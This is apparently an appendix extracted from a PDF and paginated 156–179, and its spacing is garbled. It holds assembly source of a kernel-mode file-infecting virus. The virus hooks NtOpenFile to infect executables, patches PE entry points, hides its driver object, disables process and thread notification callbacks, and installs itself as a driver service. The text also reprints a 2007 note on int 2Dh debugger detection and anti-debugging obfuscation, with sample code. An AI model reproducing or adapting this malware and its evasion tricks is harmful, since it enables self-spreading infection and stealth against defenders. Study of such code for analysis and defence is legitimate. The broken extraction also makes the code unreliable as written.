mov eax , dword ptr [ ecx + object_directory_entry . Object ]
test eax , eax
jz get_next_entry
mov eax , dword ptr [ eax - 10 h ]
cmp dword ptr [ ebx + ring0data . reserved + 4] , eax
jnz c h e c k_ o bject_directory
mov eax , dword ptr [ ecx + object_directory_entry . Object ]
cmp dword ptr [ ebx + ring0data . driver_object ] , eax
jnz get_next_entry
mov eax , dword ptr [ ebx + ring0data . reserved + 4]
dec dword ptr [ eax + 50 h ]
mov edx , dword ptr [ ecx + object_directory_entry . ChainLink ]
cmp edi , ecx
jnz unlink
mov dword ptr [ esi ] , edx
156
jmp found
unlink : mov dword ptr [ edi + object_directory_entry . ChainLink ] , edx
found : xor esi , esi
jmp e n d _ w a l k _ob je ct_ dir ec tor y
c h e ck _ o b j ec t _ d i re c t o r y :
cmp dword ptr [ ebx + ring0data . reserved ] , eax
jnz get_next_entry
push esi
push ecx
mov esi , dword ptr [ ecx + object_directory_entry . Object ]
call wa l k_ ob ject_directory
pop ecx
pop esi
test esi , esi
jz e n d _ w a l k_ ob jec t_d ire ct ory
get_next_entry :
mov edi , ecx
mov ecx , dword ptr [ ecx + object_directory_entry . ChainLink ]
test ecx , ecx
jnz next_object_entry
get_next_list :
lodsd
dec dword ptr [ esp ]
jnz next_list
e n d _ w a l k _ o b j e c t _ d i r e c t o ry :
pop eax
ret
hide : mov esi , esp
xor eax , eax
cdq
mov al , 05 Ch
push eax
bswap eax
push esp
inc al
shl al , 2
push ax
shr al , 1
push ax
mov eax , esp
sub esp , size object_attributes
@ i n i t _ o b j e c t _ a t tributes esp , edx , eax , OBJ_CASE_INSENSITIVE , edx
mov ecx , esp
push esi
push edx
mov eax , esp
push ecx
push edx
push eax
call dword ptr [ ebx + ring0data . api . ntos . ZwOpenDirectoryOb je c t . va ]
pop edi
pop esp
and eax , eax
jnz clean_objects
157
lea ecx , dword ptr [ ebp +
( offset walk_object_directory - offset delta )]
push ecx
push eax
mov ecx , esp
push eax
push ecx
push eax
push eax
push eax
push edi
call dword ptr [ ebx + ring0data . api . ntos . ObR ef ere nce Ob jec t B y H a n d l e . va ]
pop esi
push esi
call dword ptr [ ebx + ring0data . api . ntos . ObDereferenceObject . va ]
mov eax , esi
mov eax , dword ptr [ eax - 10 h ]
mov dword ptr [ ebx + ring0data . reserved ] , eax
mov eax , dword ptr [ ebx + ring0data . api . ntos . IoDriverObjectType . va ]
mov eax , dword ptr [ eax ]
mov dword ptr [ ebx + ring0data . reserved + 4] , eax
pop eax
push edi
call eax
call dword ptr [ ebx + ring0data . api . ntos . ZwClose . va ]
clean_objects :
xor eax , eax
mov edx , dword ptr [ ebx + ring0data . driver_object ]
movzx ecx , word ptr [ edx + driver_object . DriverName . _Length ]
mov edi , dword ptr [ edx + driver_object . DriverName . Buffer ]
rep stosb
mov edx , dword ptr [ edx + driver_object . DriverExtension ]
movzx ecx , word ptr [ edx + driver_extension . ServiceKeyName . _Length ]
mov edi , dword ptr [ edx + driver_extension . ServiceKeyName . Buffer ]
rep stosb
mov edx , dword ptr [ ebx + ring0data . module_list ]
movzx ecx , word ptr [ edx + module_entry . path . _Length ]
mov edi , dword ptr [ edx + module_entry . path . Buffer ]
rep stosb
movzx ecx , word ptr [ edx + module_entry . _name . _Length ]
mov edi , dword ptr [ edx + module_entry . _name . Buffer ]
rep stosb
lower_irql :
@protect_mring0
push dword ptr [ ebx + ring0data . kirql ]
lea eax , dword ptr [ ebx + ring0data . kspinlock ]
push eax
call dword ptr [ ebx + ring0data . api . hal . KeReleaseSpinLock . va ]
start_wdog :
mov esi , offset ring0_wdog_end - offset ring0_wdog_begin
lea eax , dword ptr [ esi + size wdog_context ]
push eax
push NonPagedPool
call dword ptr [ ebx + ring0data . api . ntos . ExAllocatePool . va ]
158
mov ecx , eax
jecxz drv_entry_success
mov ecx , esi
lea esi , dword ptr [ ebp ( offset ring0_wdog_begin - offset delta )]
mov edi , eax
rep movsb
mov esi , eax
lea eax , dword ptr [ esi + ( offset api_ntos_ke_bugcheck -
offset ring0_wdog_begin )]
push dword ptr [ ebx + ring0data . api . ntos . KeBugCheck . va ]
pop dword ptr [ eax ]
lea eax , dword ptr [ esi + ( offset ap i_ nt os _k e_ in it i al iz e_ d p c -
offset ring0_wdog_begin )]
push dword ptr [ ebx + ring0data . api . ntos . KeInitializeDpc . va ]
pop dword ptr [ eax ]
lea eax , dword ptr [ esi + ( offset a pi _ n t os _ k e _i n i t ia l i z e_ t i m e r -
offset ring0_wdog_begin )]
push dword ptr [ ebx + ring0data . api . ntos . KeInitializeTimer . va ]
pop dword ptr [ eax ]
lea eax , dword ptr [ esi + ( offset api_ntos_ke_set_timer -
offset ring0_wdog_begin )]
push dword ptr [ ebx + ring0data . api . ntos . KeSetTimer . va ]
pop dword ptr [ eax ]
lea eax , dword ptr [ esi + ( offset ring0_wdog_end -
offset ring0_wdog_begin )]
lea ebx , dword ptr [ esi + ( offset wdog_ctx_addr -
offset ring0_wdog_begin )]
mov dword ptr [ ebx ] , eax
lea eax , dword ptr [ esi + ( offset wdog_begin_addr -
offset ring0_wdog_begin )]
mov dword ptr [ eax ] , esi
lea eax , dword ptr [ ebp + ( offset drv_begin - offset delta )]
lea ebx , dword ptr [ esi + ( offset buf_drv_begin -
offset ring0_wdog_begin )]
mov dword ptr [ ebx ] , eax
lea edi , dword ptr [ ebp + ( offset drv_end - offset delta )]
lea ebx , dword ptr [ esi + ( offset buf_drv_end -
offset ring0_wdog_begin )]
mov dword ptr [ ebx ] , edi
call gen_crc32_datbuf
lea ebx , dword ptr [ esi + ( offset orig_drv_crc -
offset ring0_wdog_begin )]
mov dword ptr [ ebx ] , eax
xor eax , eax
push eax
push eax
push eax
push eax
call esi
drv_entry_success :
push STATUS_SUCCESS
pop eax
jmp drv_entry_ret
drv_ entry_ unsucce ss :
159
push STA TUS_UNSUCCESSFUL
pop eax
drv_entry_ret :
@cb_end d r i v e r e n try_param_count
;--------------------------------------
; driver unload
;--------------------------------------
; driver unload :
; system thread context : passive level : stdcall : void : 1 param
driver_unload :
@cb_begin
@cb_end d r i v e r u nloa d_pa ram_c ount
;--------------------------------------
; service hook routines
;--------------------------------------
; NtOpenFile hook :
; user thread context : passive level : stdcall : ntstatus : 14 params
nt_open_file_hook :
@cb_begin
jmp $ +10
dd offset nt_open_file_orig - offset delta
dd offset nt_open_file_hook_back - offset delta
lea esi , dword ptr [ esp + _pushad + 4]
push n t op e n f ile_param_count
pop eax
mov ecx , eax
shl eax , 2
sub esp , eax
mov edi , esp
rep movsd
lea eax , dword ptr [ ebp + ( offset check_infect - offset delta )]
push eax
nt_open_file_orig :
mov edi , edi
push ebp
mov ebp , esp
push 01234567 h
n t _ op e n _ f il e _ h o ok_back equ $ -4
ret
check_infect :
mov ebx , dword ptr [ ebp ]
mov edx , eax
and eax , eax
jne ntopenfile_ret
@gparam ecx , 0
cmp eax , dword ptr [ ecx ]
jz ntopenfile_ret
@gparam eax , 5
and eax , FILE_DIRECTORY_FILE
jne ntopenfile_ret
160
@gparam edi , 2
mov edi , dword ptr [ edi + object_attributes . ObjectName ]
mov ecx , dword ptr [ edi + unicode_string . _Length ]
jcxz ntopenfile_ret
bswap ecx
jcxz ntopenfile_ret
cmp eax , dword ptr [ edi + unicode_string . Buffer ]
je ntopenfile_ret
push edi
movzx esi , word ptr [ edi + unicode_string . _Length ]
add esi , dword ptr [ edi + unicode_string . Buffer ]
lea edi , dword ptr [ ebp + (( offset exe_ext +
sizeof exe_ext - 1) - offset delta )]
push 4
pop ecx
std
lodsw
is_exe : lodsw
or al , 20 h
scasb
loope is_exe
cld
pop edi
jne ntopenfile_ret
mov esi , dword ptr [ edi + unicode_string . Buffer ]
lea esi , dword ptr [ esi + 6*2]
cmp byte ptr [ esi ] , ’\ ’
jnz ntopenfile_ret
lodsw
push edx
mov edx , ecx
inc edx
inc edx
shl edx , 4
lea edi , dword ptr [ ebp + ( offset systemroot - offset delta )]
push 7
pop ecx
is_wnd : mov al , byte ptr [ edi ]
inc edi
xchg al , dh
lodsb
or al , dl
sub al , dh
lodsb
loope is_wnd
pop edx
je ntopenfile_ret
@gparam eax , 0
mov eax , dword ptr [ eax ]
push edx
call infect_file
pop edx
ntopenfile_ret :
mov eax , edx
161
@cb_end n t o pe n f ile_param_count
; N t En u m e r a te B o otEntries hook :
; user thread context : passive level : ntstatus : stdcall : 2 params
nt_enumerate_boot_entries_hook :
@cb_begin
jmp $ +10
dd offset n t _ e n u m e r a t e _ b o o t _ e n t r i e s _ o r i g - offset delta
dd 0
nt_enumerate_boot_entries_orig :
mov eax , S T ATUS_NOT_IMPLEMENTED
@gparam ecx , 0
@gparam edx , 1
xor esi , esi
push esi
add esi , 05 F5Fh
shl esi , 1
sub cx , si
pop esi
jnz @l1
add esi , 0657 Fh
shl esi , 1
sub dx , si
jnz @l1
xor eax , eax
@l1 : @cb_end n t e n u m e r a t e b o o t e n t r i e s _ p a r a m _ c o u n t
;--------------------------------------
; exported api hook routines
;--------------------------------------
162
dd 0
n t _ a p i _ n t o s _ d b g _ pr i nt x _o r ig :
mov edi , edi
push ebp
mov ebp , esp
push STATUS_SUCCESS
pop eax
@cb_end 0
;--------------------------------------
; EAT hook routines
;--------------------------------------
; P s S e t C r e a t e P r o c e s s N o f i t y R o u t i n e hook :
; arbitrary thread context : passive level : stdcall : ntstatus : 2 params
; api_ntos_ps_set_create_process_notify_routine_hook :
; register / unregister callback
@cb_begin
push STATUS_SUCCESS
pop eax
@cb_end p s s e t c r e a t e p r o c e s s n o t i f y r o u t i n e _ p a r a m _ c o u n t
; PsSet / R e m o v e C r e a t e T h r e a d N o t i f y R o u t i n e hook :
; arbitrary thread context : passive level : stdcall : ntstatus : 1 param
api_ntos_ps_set_create_thread_notify_routine_hook : ; register callback
api_ntos_ps_remove_create_thread_notify_routine_hook : ; unregister callback
@cb_begin
push STATUS_SUCCESS
pop eax
@cb_end p s s e t r e m o v e c r e a t e t h r e a d n o t i f y r o u t i n e _ p a r a m s _ c o u n t
;--------------------------------------
; wdog routine ( CustomTimerDpc )
;--------------------------------------
163
wdog_begin_addr equ $ -4
push esi
push ecx
push esi
mov eax , 78123456 h
a p i _ n t o s _ k e _ i n i t i a l i z e _ d pc equ $ -4
call eax
lea edi , dword ptr [ esi + wdog_context . Timer ]
push edi
mov eax , 8123467 h
a p i _ n t o s _ k e _ i n i t i a l i z e _ t i m er equ $ -4
call eax
xor eax , eax
cdq
dec eax
mov edx , -100000000
push esi
push eax
push edx
push edi
mov eax , 12345678 h
a pi _ nt os _ ke _ se t _t im e r equ $ -4
call eax
@cb_end c u s to m _ dpc_param_count
; in :
; eax = ptr api name string , ptr begin data buf
; edi = ptr end data buf
; out :
; eax = api crc
; ( orig by roy g biv )
gen_crc32_datbuf :
push edi
cmp edi , eax
jz gen_crc32_end
jmp gen_crc32
gen_crc32_szname :
push edi
xor edi , edi
gen_crc32 :
push ecx
push ebx
create_loop :
or ebx , -1
create_outer :
xor bl , byte ptr [ eax ]
push 8
pop ecx
create_inner :
add ebx , ebx
jnb create_skip
xor ebx , 4 c11db7h
create_skip :
164
loop create_inner
test edi , edi
jz l1
inc eax
cmp edi , eax
jnz create_outer
jmp l2
l1 : sub cl , byte ptr [ eax ]
inc eax
jb create_outer
l2 : xchg eax , ebx
pop ebx
pop ecx
pop edi
gen_crc32_end :
ret
ring0_wdog_end :
; PE infection routine :
;
; in :
; ebx = ptr ring0data
; ebp = delta offset
; eax = handle of file to infect
; out : nothing
infect_file :
mov edi , eax
mov ecx , esp
sub esp , size io_status_block + size fil e_ sta nda rd _in for m a t i o n
mov esi , esp
push ecx
push F i l e S t a ndardIn formation
push size f i l e_s tan da rd_ inf or mat ion
push esi
lea ecx , dword ptr [ esi + size f ile _st an dar d_i nf orm ati on ]
push ecx
push eax
call dword ptr [ ebx + ring0data . api . ntos . ZwQueryInformation F i l e . va ]
mov esi , dword ptr [ esi + fi le _st and ar d_i nfo rm ati on . EndOfFile ]
pop esp
test eax , eax
jne infect_file_ret
call map_file_ring0
and eax , eax
jnz infect_file_ret
push esi
push edi
mov edi , ecx
cmp word ptr [ esi + mzhdr . mz_magic ] , " ZM "
jne infect_file_unmap
mov eax , dword ptr [ esi + mzhdr . mz_lfanew ]
add eax , esi
cmp word ptr [ eax + pehdr . pe_signature ] , " EP "
165
jne infect_file_unmap
mov ecx , dword ptr [ eax + pehdr . pe_coff_machine ]
cmp cx , I M A GE_FILE_MA CHINE_I386
jne infect_file_unmap
shr ecx , 16
jz infect_file_unmap
dec ecx
imul ecx , ecx , 28 h
lea ecx , dword ptr [ eax + ecx + size pehdr ]
mov esi , eax
movzx eax , word ptr [ eax + pehdr . pe_coff_flags ]
test ah , IMAGE_FILE_DLL shr 8
jnz infect_file_unmap
test ah , IMAGE_FILE_SYSTEM shr 8
jnz infect_file_unmap
mov eax , dword ptr [ ecx + pe_sect . sect_rawaddr ]
add eax , dword ptr [ ecx + pe_sect . sect_rawsize ]
cmp eax , edx
jne infect_file_unmap
push eax
sub eax , dword ptr [ ecx + pe_sect . sect_rawaddr ]
add eax , offset drv_end - offset drv_begin
mov esi , dword ptr [ esi + pehdr . pe_ophdr_filealign ]
dec esi
add eax , esi
not esi
and eax , esi
mov esi , eax
sub eax , dword ptr [ ecx + pe_sect . sect_rawsize ]
add edx , eax
pop eax
mov dword ptr [ esp - 04 h ] , esi
mov dword ptr [ esp - 08 h ] , edi
mov dword ptr [ esp - 0 Ch ] , edx
pop edi
pop esi
push eax
sub ecx , esi
push ecx
sub esp , 0 Ch
call unm ap_section_ring0
pop esi
pop edi
rdtsc
and eax , DYNAMIC_PADD - 1
add esi , eax
add esi , STATIC_PADD
call map_file_ring0
pop ebx
pop ecx
pop edx
test eax , eax
jne infect_file_ret
push esi
166
xchg edi , edx
push edx
mov edx , dword ptr [ esi + mzhdr . mz_lfanew ]
add edx , esi
add ecx , esi
mov eax , dword ptr [ ecx + pe_sect . sect_rawsize ]
add eax , dword ptr [ ecx + pe_sect . sect_virtaddr ]
add eax , offset ring3_start - offset drv_begin
xchg dword ptr [ edx + pehdr . pe_ophdr_entrypointrva ] , eax
push eax
mov dword ptr [ ecx + pe_sect . sect_rawsize ] , ebx
cmp dword ptr [ ecx + pe_sect . sect_virtsize ] , ebx
jae copy_virus
mov dword ptr [ ecx + pe_sect . sect_virtsize ] , ebx
add ebx , dword ptr [ ecx + pe_sect . sect_virtaddr ]
mov dword ptr [ edx + pehdr . pe_ophdr_imagesize ] , ebx
mov eax , dword ptr [ edx + pehdr . pe_ophdr_sectalign ]
dec eax
add dword ptr [ edx + pehdr . pe_ophdr_imagesize ] , eax
not eax
and dword ptr [ edx + pehdr . pe_ophdr_imagesize ] , eax
copy_virus :
or dword ptr [ ecx + pe_sect . sect_flags ] ,
I MA G E_ SCN_MEM_EXECUTE or IMAGE_SCN_CNT_CODE
add edi , esi
mov eax , edi
lea esi , dword ptr [ ebp + ( offset drv_begin - offset delta )]
push offset drv_end - offset drv_begin
pop ecx
rep movsb
pop ecx
add ecx , dword ptr [ edx + pehdr . pe_ophdr_imagebase ]
lea eax , dword ptr [ eax + ( offset host_start_ep - offset drv_begin )]
mov dword ptr [ eax ] , ecx
infect_file_unmap :
mov ebx , dword ptr [ ebp ]
pop edi
pop esi
jmp unmap_s ection_ring0
infect_file_ret :
mov ebx , dword ptr [ ebp ]
ret
; in :
; edi = handle file to map
; esi = section size , with padd
; out :
; esi = mapping addr
; edi = section handle
; ecx = file handle
; edx = secction size
; ret :
; ok : eax = 0
; error : eax != 0
167
map_file_ring0 :
xor ecx , ecx
mov eax , esp
push ecx
push esi
push eax
push ecx
push edi
push SEC_COMMIT
push PAGE_READWRITE
lea eax , dword ptr [ esp + 5*4]
push eax
push ecx
push SECTION_QUERY or SECTION_MAP_WRITE or
SECTION_MAP_READ or STAND ARD_R IGHTS _REQ UIRED
lea eax , dword ptr [ esp + 6*4]
push eax
call dword ptr [ ebx + ring0data . api . ntos . ZwCreateSection . va ]
pop edx
pop esp
test eax , eax
jne map_file_ring0_ret
xchg edx , edi
push edx
push eax
push eax
push PAGE_READWRITE
push eax
push ViewShare
lea ecx , dword ptr [ esp + 4*4]
push ecx
push eax
push eax
push eax
lea ecx , dword ptr [ esp + 7*4]
push ecx
push NtCurrentProcess
push edi
call dword ptr [ ebx + ring0data . api . ntos . ZwMapViewOfSection . va ]
pop edx
pop ecx
pop ecx
xchg esi , edx
test eax , eax
jz map_file_ring0_ret
push edi
call dword ptr [ ebx + ring0data . api . ntos . ZwClose . va ]
inc eax
map_file_ring0_ret :
ret
; in :
; eax = ptr full path name ( wchar )
168
; out :
; esi = mapping addr
; edi = section handle
; ret :
; ok : eax = 0
; error : eax != 0
169
mov ecx , esp
push PAGE_READWRITE
push MEM_TOP_DOWN
push ViewShare
lea edx , dword ptr [ ecx + 4]
push edx
push eax
push 01000 h
push eax
push ecx
push NtCurrentProcess
push edi
call dword ptr [ ebx + ring0data . api . ntos . ZwMapViewOfSection . va ]
pop esi
pop ecx
mov ecx , eax
xor eax , eax
cmp ecx , S T AT US_IM AGE_N OT_AT _BAS E
jz m a p _ i m a gefile _ring0_ret
push edi
call dword ptr [ ebx + ring0data . api . ntos . ZwClose . va ]
inc eax
map_imagefile_ring0_ret :
ret
; in :
; esi = bade addr
; edi = section handle
; out : nothing
; in :
; ebx = module base
; esi = ptr table api crcs
; edi = ptr buffer api addrs
; out : nothing
get_apis :
mov eax , ebx
stosd
mov edx , dword ptr [ ebx + mzhdr . mz_lfanew ]
add edx , ebx
mov edx , dword ptr [ edx + pehdr . pe_dd_export . ddir_rva ]
add edx , ebx
push ebp
xchg ebp , esi
170
mov esi , dword ptr [ edx + pedir_export . rvaofnames ]
add esi , ebx
mov ecx , dword ptr [ edx + pedir_export . numofnames ]
next_api :
jecxz get_apis_end
dec ecx
lodsd
add eax , ebx
call gen_crc32_szname
cmp eax , dword ptr [ ebp ]
jnz next_api
get_api_addr :
push ecx
mov eax , dword ptr [ edx + pedir_export . numofnames ]
sub eax , ecx
dec eax
mov ecx , dword ptr [ edx + pedir_export . rvaofordinals ]
add ecx , ebx
movzx eax , word ptr [ ecx + eax * 2]
mov ecx , dword ptr [ edx + pedir_export . rvaoffunctions ]
add ecx , ebx
lea eax , dword ptr [ ecx + eax * 4]
push eax
mov eax , dword ptr [ eax ]
add eax , ebx
stosd
pop eax
stosd
pop ecx
add ebp , 4
cmp dword ptr [ ebp ] , 0
jne next_api
xchg esi , ebp
lodsd
get_apis_end :
pop ebp
ret
;--------------------------------------
; ring3 code
;--------------------------------------
ring3_start :
pushad
call getdelta
@ ri n g3 se h _s e tu p _frame < jmp remove_seh >
assume fs : nothing
mov eax , fs :[030 h ]
mov eax , dword ptr [ eax + 0 Ch ]
mov esi , dword ptr [ eax + 01 Ch ]
lodsd
mov ebx , dword ptr [ eax + 08 h ]
call get_ring3_api
171
kerncrc_begin :
dd ( kern_api_count shr 1) + 1 dup (0)
kerncrc_end :
kern_name dd 0
get_ring3_api :
pop esi
sub esp , size ring3data
mov edi , esp
call get_apis
call get_extra_userapi
db " advapi32 . dll " , 0 h
advapicrc_begin :
dd ( adv_api_count shr 1) + 1 dup (0)
advapicrc_end :
adv_name dd 0
db " ntdll . dll " , 0 h
ntdllcrc_begin :
dd ( ntdll_api_count shr 1) + 1 dup (0)
ntdllcrc_end :
ntdll_name dd 0
db -1
get_extra_userapi :
pop esi
load_module :
push esi
call dword ptr [ esp + 4 + ring3data . api . kern . LoadLibraryA . va ]
mov ebx , eax
test ebx , ebx
jz jmp_to_host
@endsz
call get_apis
lodsd
cmp byte ptr [ esi ] , -1
jnz load_module
load_user_api_end :
mov ebx , esp
is_drv_present :
xor eax , eax
add eax , 0657 Fh
shl eax , 1
push eax
shr eax , 16
add eax , 05 F5Fh
shl eax , 1
push eax
call dword ptr [ ebx + ring3data . api . ntdll . ZwEnumerateBootE n t r ie s . va ]
test eax , eax
jz jmp_to_host
xor eax , eax
push eax
push eax
push CREATE_ALWAYS
push eax
push eax
172
push GENERIC_READ or GENERIC_WRITE
lea eax , dword ptr [ ebp + ( offset drv_aname - offset delta )]
push eax
call dword ptr [ ebx + ring3data . api . kern . CreateFileA . va ]
test eax , eax
jz jmp_to_host
mov dword ptr [ ebx + ring3data . file_handle ] , eax
mov edi , offset drv_end - offset drv_begin
mov esi , edi
lea ecx , dword ptr [ ebp + (( offset drv_begin +
sys_body . sys_pe_hdr . pe_ophdr_filealign ) - offset delta )]
mov ecx , dword ptr [ ecx ]
dec ecx
add esi , ecx
not ecx
and esi , ecx
xor eax , eax
push eax
push esi
push eax
push PAGE_READWRITE
push eax
push dword ptr [ ebx + ring3data . file_handle ]
call dword ptr [ ebx + ring3data . api . kern . CreateFileMappingA . va ]
mov dword ptr [ ebx + ring3data . map_handle ] , eax
test dword ptr [ ebx + ring3data . map_handle ] , eax
jz close_file
xor edx , edx
push esi
push edx
push edx
push FILE_MAP_WRITE
push eax
call dword ptr [ ebx + ring3data . api . kern . MapViewOfFile . va ]
mov dword ptr [ ebx + ring3data . map_addr ] , eax
test dword ptr [ ebx + ring3data . map_addr ] , eax
jnz copy_drv_to_map
close_map :
push dword ptr [ ebx + ring3data . map_handle ]
call dword ptr [ ebx + ring3data . api . kern . CloseHandle . va ]
close_file :
push dword ptr [ ebx + ring3data . file_handle ]
call dword ptr [ ebx + ring3data . api . kern . CloseHandle . va ]
cmp dword ptr [ ebx + ring3data . map_handle ] , 0
jz jmp_to_host
cmp dword ptr [ ebx + ring3data . map_addr ] , 0
jz jmp_to_host
ret
copy_drv_to_map :
xor edx , edx
push edx
xchg eax , edi
push 4
pop ecx
173
div ecx
push esi
push edi
mov ecx , eax
lea esi , dword ptr [ ebp + ( offset drv_begin - offset delta )]
rep movsd
xchg ecx , edx
rep movsb
calc_checksum :
pop edi
and dword ptr [ edi + sys_body . sys_pe_hdr . pe_ophdr_checksum ] , 0
mov esi , dword ptr [ esp ]
mov ecx , esi
inc ecx
shr ecx , 1
xor eax , eax
mov edx , edi
clc
cksum : adc ax , word ptr [ edx ]
inc edx
inc edx
loop cksum
pop dword ptr [ edi + sys_body . sys_pe_hdr . pe_ophdr_checksum ]
adc dword ptr [ edi + sys_body . sys_pe_hdr . pe_ophdr_checksum ] , eax
unmap_file :
push dword ptr [ ebx + ring3data . map_addr ]
call dword ptr [ ebx + ring3data . api . kern . UnmapViewOfFile . va ]
call close_map
load_drv :
xor edi , edi
push SC _ MA NA GER_ALL_ACCESS
push edi
push edi
call dword ptr [ ebx + ring3data . api . adv . OpenSCManagerA . va ]
test eax , eax
jz jmp_to_host
mov dword ptr [ ebx + ring3data . scm_handle ] , eax
push PAGE_READWRITE
push MEM_COMMIT
push 1024
push edi
call dword ptr [ ebx + ring3data . api . kern . VirtualAlloc . va ]
mov dword ptr [ ebx + ring3data . buff ] , eax
call i s_ ser vice_installed
delete_service :
push eax
push eax
push dword ptr [ ebx + ring3data . buff ]
push S ER VIC E_CONTROL_STOP
push eax
call dword ptr [ ebx + ring3data . api . adv . ControlService . va ]
call dword ptr [ ebx + ring3data . api . adv . DeleteService . va ]
call dword ptr [ ebx + ring3data . api . adv . CloseServiceHandle . va ]
jmp cr eat e_ start_service
174
is _s erv ic e_i ns tal le d :
push SERVICE_ALL_ACCESS
lea eax , dword ptr [ ebp + ( offset drv_aname - offset delta )]
push eax
push dword ptr [ ebx + ring3data . scm_handle ]
call dword ptr [ ebx + ring3data . api . adv . OpenServiceA . va ]
test eax , eax
jnz delete_service
cr ea te_ st art _s erv ic e :
mov esi , dword ptr [ ebx + ring3data . buff ]
push esi
lodsd
push esi
push 1024
lea eax , dword ptr [ ebp + ( offset drv_aname - offset delta )]
push eax
call dword ptr [ ebx + ring3data . api . kern . GetFullPathNameA . va ]
mov ecx , eax
jecxz end_load_srv
push 7
pop ecx
push edi
loop $ -1
push esi
push S ER VIC E_ERROR_IGNORE
push S ER VIC E_DEMAND_START
push SE R VI CE _KERNEL_DRIVER
push SERVICE_ALL_ACCESS
lea eax , dword ptr [ ebp + ( offset drv_desc - offset delta )]
push eax
lea eax , dword ptr [ ebp + ( offset drv_aname - offset delta )]
push eax
push dword ptr [ ebx + ring3data . scm_handle ]
call dword ptr [ ebx + ring3data . api . adv . CreateServiceA . va ]
mov dword ptr [ ebx + ring3data . service_handle ] , eax
push eax
call dword ptr [ ebx + ring3data . api . adv . StartServiceA . va ]
end_load_srv :
push dword ptr [ ebx + ring3data . service_handle ]
call dword ptr [ ebx + ring3data . api . adv . CloseServiceHandle . va ]
push dword ptr [ ebx + ring3data . scm_handle ]
call dword ptr [ ebx + ring3data . api . adv . CloseServiceHandle . va ]
push dword ptr [ ebx + ring3data . buff ]
call dword ptr [ ebx + ring3data . api . kern . VirtualFree . va ]
lea eax , dword ptr [ ebp + ( offset drv_aname - offset delta )]
push eax
call dword ptr [ ebx + ring3api . kern . DeleteFileA . va ]
jmp_to_host :
add esp , size ring3data
remove_seh :
@ r i ng 3 s e h _r e m o v e_frame
popad
mov eax , offset host_start
host_start_ep equ $ -4
175
jmp eax
ring3_end :
;--------------------------------------
; some global data
;--------------------------------------
drvcode_end :
drv_end :
end start
176
H Int 2d debugger detection
;---------------------------------------------------------------------------
; Int 2 Dh debugger detection and code obfuscation - ReWolf ^ HTB
;
; Date : 14. III .2007
;
;
; I . BACKGROUND
;
; Possibly new method of debugger detection , and nice way for code
; obfuscation .
;
;
; II . DESCRIPTION
;
; Int 2 Dh is used by ntoskrnl . exe to play with DebugServices ( ref1 ) ,
; but we can use it also in ring3 mode . If we try to use it in normal
; ( not debugged ) application , we will get exception . However if we will
; attach debugger , there will be no exception .
;
; push offset _seh ;\
; push fs :[0] ; > set SEH
; mov fs :[0] , esp ;/
;
; int 2 dh ; if debugger attached it will run normally ,
; ; else we ’ ve got exception
; nop
; pop fs :[0] ;\ clear SEH
; add esp , 4 ;/
;
; ...
; debugger detected
; ...
;
; _seh :
; debugger not detected
;
; It can also crash SoftIce DbgMsg driver ( ref2 ).
;
; Besides this , int 2 Dh can also be used as code obfuscation method .
; With attached debugger , after executing int 2 Dh , system skips one byte
; after int 2 Dh :
;
; int 2 dh
; nop ; never executed
; ...
;
; If we ’ ll execute step into / step over on int 2 Dh different debuggers
; will behave in different way :
;
; OllyDbg - run until next breakpoint ( if we have any )
; Visual Studio - stop on instruction after nop in our example
177
; WinDbg - stop after int 2 dh ( always even if we ’ Go ’)
;
; Only OllyDbg behaves correctly if we permit to run process without any
; breaks . We can create self debuggable application ( as in attached
; example ) that will take advantages of int 2 Dh code obfuscation .
;
;
; III . Links
;
; 1. http : // www . vsj . co . uk / articles / display . asp ? id =265
; 2. http : // www . piotrbania . com / all / adv / sice - adv . txt
;
;
; IV . Thanks
;
; omega red , Gynvael Coldwind , ved , Piotr Bania
;
;
; comments , suggestions , job opportunities : rewolf@poczta . onet . pl
; http : // www . rewolf . prv . pl
;---------------------------------------------------------------------------
;
; change file extensionton . asm and compile
; tested on : Win XP Pro sp2 ( x86 ) , Win 2 k3 server ( x64 ) , Vista Ultimate ( x64 )
;
;---------------------------------------------------------------------------
.386
. model flat , stdcall
option casemap : none
;---------------------------------------------------------------------------
include \ masm32 \ include \ windows . inc
include \ masm32 \ include \ user32 . inc
include \ masm32 \ include \ kernel32 . inc
includelib \ masm32 \ lib \ kernel32
includelib \ masm32 \ lib \ user32
;---------------------------------------------------------------------------
. data
procinfo PR OCESS_INFORMATION <0 >
startinfo STARTUPINFO <0 >
debugEvt DEBUG_EVENT <0 >
_str db 100 DUP (0)
_fmt db ’ eax : %08 X ’ ,0 dh ,0 ah , ’ ebx : %08 X ’ ,0 dh ,0 ah , ’ ecx : %08 X ’ ,0 dh ,0 ah ,
’ edx : %08 X ’ ,0
;---------------------------------------------------------------------------
; CLOAKxB -> cloaks x bytes instruction
178
db 0 c2h
endm
; If you find some other ’ cloaking ’ opcodes i . e . 5 or more bytes please send
; me e - mail ; -)
;---------------------------------------------------------------------------
; sample mov r32 , val macro
MOV_REG macro reg1 : REQ , val1 : REQ , val2 : REQ , val3 : REQ , val4 : REQ
int 2 dh
int reg1 ;\
int val3 ; > mov eax , ( val1 ) CD ( val3 ) CD
int val1 ;/
int 2 dh
; enter 78 xxh , 90 h ; mov al , val4
db 0 c8h , reg1 - 8 , val4 , 90 h
int 2 dh
; enter 0 xxc1h , 10 h ; ror eax , 10 h
db 0 c8h , 0 c1h , reg1 + 10 h , 10 h
int 2 dh
; enter 34 xxh , 90 h ; mov al , val2
db 0 c8h , reg1 - 8 , val2 , 90 h
int 2 dh
; enter 0 xxc1h , 10 h ; ror eax , 10 h
db 0 c8h , 0 c1h , reg1 + 10 h , 10 h
endm
;---------------------------------------------------------------------------
MOV_EAX macro val1 : REQ , val2 : REQ , val3 : REQ , val4 : REQ
MOV_REG 0 b8h , val1 , val2 , val3 , val4
endm
MOV_EBX macro val1 : REQ , val2 : REQ , val3 : REQ , val4 : REQ
MOV_REG 0 bbh , val1 , val2 , val3 , val4
endm
MOV_ECX macro val1 : REQ , val2 : REQ , val3 : REQ , val4 : REQ
MOV_REG 0 b9h , val1 , val2 , val3 , val4
endm
MOV_EDX macro val1 : REQ , val2 : REQ , val3 : REQ , val4 : REQ
MOV_REG 0 bah , val1 , val2 , val3 , val4
endm
;---------------------------------------------------------------------------
179
. code
start :
assume fs : nothing
push offset _seh ;\
push fs :[0] ; > set SEH
mov fs :[0] , esp ;/
;---------------------------------------------------------------------------
;---------------------------------------------------------------------------
CLOAK1B
push edx
CLOAK1B
push ecx
CLOAK1B
push ebx
CLOAK1B
push eax
CLOAK4B
push offset _fmt
CLOAK4B
push offset _str
CLOAK4B
call wsprintf
CLOAK3B
